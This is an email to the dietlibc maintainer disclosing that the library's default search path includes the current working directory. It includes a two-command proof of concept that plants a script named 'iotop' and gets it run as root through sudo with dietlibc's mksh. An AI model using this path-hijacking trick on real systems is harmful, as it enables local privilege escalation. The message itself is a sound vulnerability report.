Insecure _PATH_DEFPATH in dietlibc

Hi Felix,

$ fgrep DEFPATH /usr/lib/diet/include/paths.h
#define _PATH_DEFPATH "/bin:/usr/bin:"

this includes the current working directory.

Proof of concept exploit:

tglase@tglase:~ $ print '#!/bin/sh\necho boom $(id)' >iotop; chmod +x iotop
tglase@tglase:~ $ sudo env -i /usr/lib/diet/bin/mksh -c iotop
boom uid=3D0(root) gid=3D0(root) groups=3D0(root),150(pkcs11)

Sure, unrealistic, but the cwd is never in any default $PATH
for good reasons. (This also only works because /usr/sbin is
not in yours.)

Discovery by carstenh and me in #!/bin/mksh on Freenode IRC.

bye,
//mirabilos
--=20
15:41=E2=8E=9C<Lo-lan-do:#fusionforge> Somebody write a testsuite for hello=
world :-)